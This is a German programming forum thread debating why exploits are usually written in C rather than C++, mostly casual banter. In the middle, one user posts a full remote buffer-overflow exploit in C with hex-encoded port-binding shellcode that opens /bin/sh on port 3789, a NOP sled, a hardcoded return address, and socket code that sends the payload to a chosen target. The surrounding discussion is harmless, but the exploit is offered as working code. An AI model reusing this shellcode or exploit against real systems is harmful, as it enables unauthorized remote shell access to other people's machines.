Wieso sind Exploits in C?

Wieso sind Exploits in C und in C++? Ich will endlich mal ein c++ Exploit sehen!

es gibt keine

virtuell Realisticer

dann schreib dir eins

volkard

Versteh ich nicht schrieb:

Wieso sind Exploits in C und in C++? Ich will endlich mal ein c++ Exploit sehen!

weil die ganze open-souce-software in c ist.
und die, die kapiert haben, warum sie c++ statt c nehmen, bauen auch software, die nicht gerade viele löcher hat.

Daniel E.

volkard schrieb:

und die, die kapiert haben, warum sie c++ statt c nehmen, bauen auch software, die nicht gerade viele löcher hat.

? Ein Exploit ist ein Programm, dass einen Fehler in einer anderen Anwendung, deren Erstellungssprache reichlich uninteressant ist, ausnutzt, nicht das fehlerhafte Programm.

volkard

Daniel E. schrieb:

? Ein Exploit ist ein Programm, dass einen Fehler in einer anderen Anwendung, deren Erstellungssprache reichlich uninteressant ist, ausnutzt, nicht das fehlerhafte Programm.

ups. jo.
dann isses unfug, nur c-expoits zu kennen. man nimmt einfach die sprache, die dem problem am nächsten kommt. also perl für normale kaputte netzwerkpakete, c für nen buffer overflow, vb für nen outlook-express-wurm...

Bashar

Meine Ideen dazu:

C-Compiler sind verbreiteter, übersetzen schneller und sind ausgereifter.
Exploits sind typischerweise designtechnisch so simpel, dass sie von C++ nicht profitieren würden.
Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? )

Mr. N

Bashar schrieb:

Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? )

Widerspruch! *g*
Ich bin eher dafür, dass die Leute, die C++ kapieren, finden, dass hacken langweilig und dumm ist.

volkard

Mr. N schrieb:

Bashar schrieb:

Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? )

Widerspruch! *g*

wo?

Ich habe immer noch keine konkrete Antwort, wieso Exploits in C und nicht in C++ sind!!

Versteh ich nicht schrieb:

Ich habe immer noch keine konkrete Antwort, wieso Exploits in C und nicht in C++ sind!!

die Aussage ist falsch

b7f7

[garnich ernst gemeint]
weil es einfacher ist nen printf zu schreiben als
cout<<"found ISS\ntry to inject Wurm"<<endl;
[/garnich ernst gemeint][code]

ChrisM

Wenn schon, steht da nicht
try to inject Wurm
sondern
trying to inject worm

ChrisM

Ein Exploit, der eine Shell öffnet, der Rest steht ja im Kommentar,

/* Simple remote exploit, which binds a shell on port 3789
 * by triton
 *
 * After return address was overwritten, you can connect
 * with telnet or netcat to the victim host on Port 3789
 * After you logged in... there's nothing, but try to enter "id;" (don't forget the semicolon)
 * So you should get an output, ok you've got a shell *g*. Always use:
 *
 * <command>;
 *
 * execute.
 */

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] = 
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

//standard offset (probably must be modified)
#define RET 0xbffff2b8

int main(int argc, char *argv[]) {
    char buffer[1064];
    int s, i, size;
    struct sockaddr_in remote;
    struct hostent *host;
    if(argc != 3) {
        printf("Usage: %s target-ip port\n", argv[0]);
        return -1;
    }

    // filling buffer with NOPs
    memset(buffer, 0x90, 1064);

    //copying shellcode into buffer
    memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

    // the previous statement causes a unintential Nullbyte at buffer[1000]
    buffer[1000] = 0x90;

    // Copying the return address multiple times at the end of the buffer...
    for(i=1022; i < 1059; i+=4) {
        * ((int *) &buffer[i]) = RET;
    }

    buffer[1063] = 0x0;

    //getting hostname
    host=gethostbyname(argv[1]);
    if (host==NULL) {
        fprintf(stderr, "Unknown Host %s\n",argv[1]);
        return -1;
    }

    // creating socket...
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0) {
        fprintf(stderr, "Error: Socket\n");
        return -1;
    }

    //state Protocolfamily , then converting the hostname or IP address, and getting port number
    remote.sin_family = AF_INET;
    remote.sin_addr = *((struct in_addr *)host->h_addr);
    remote.sin_port = htons(atoi(argv[2]));

    // connecting with destination host
    if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) {
        close(s);
        fprintf(stderr, "Error: connect\n");
        return -1;
    }

    //sending exploit string
    size = send(s, buffer, sizeof(buffer), 0);
    if (size==-1) {
        close(s);
        fprintf(stderr, "sending data failed\n");
        return -1;
    }

    // closing socket
    close(s);
}

edit by vh: code formatiert

*grimmsen**

Der Exploit selbst ist doch eh Assembler, hat doch nichts mehr mit C oder C++ zu tun!! Siehe Quelltext!

volkard

ºgrimmsenº schrieb:

Der Exploit selbst ist doch eh Assembler, hat doch nichts mehr mit C oder C++ zu tun!! Siehe Quelltext!

stimmt.
und zum impfen des anderen rechners ist ein wenig c genommenm worden. da wär aber perl angenehmern gewesen.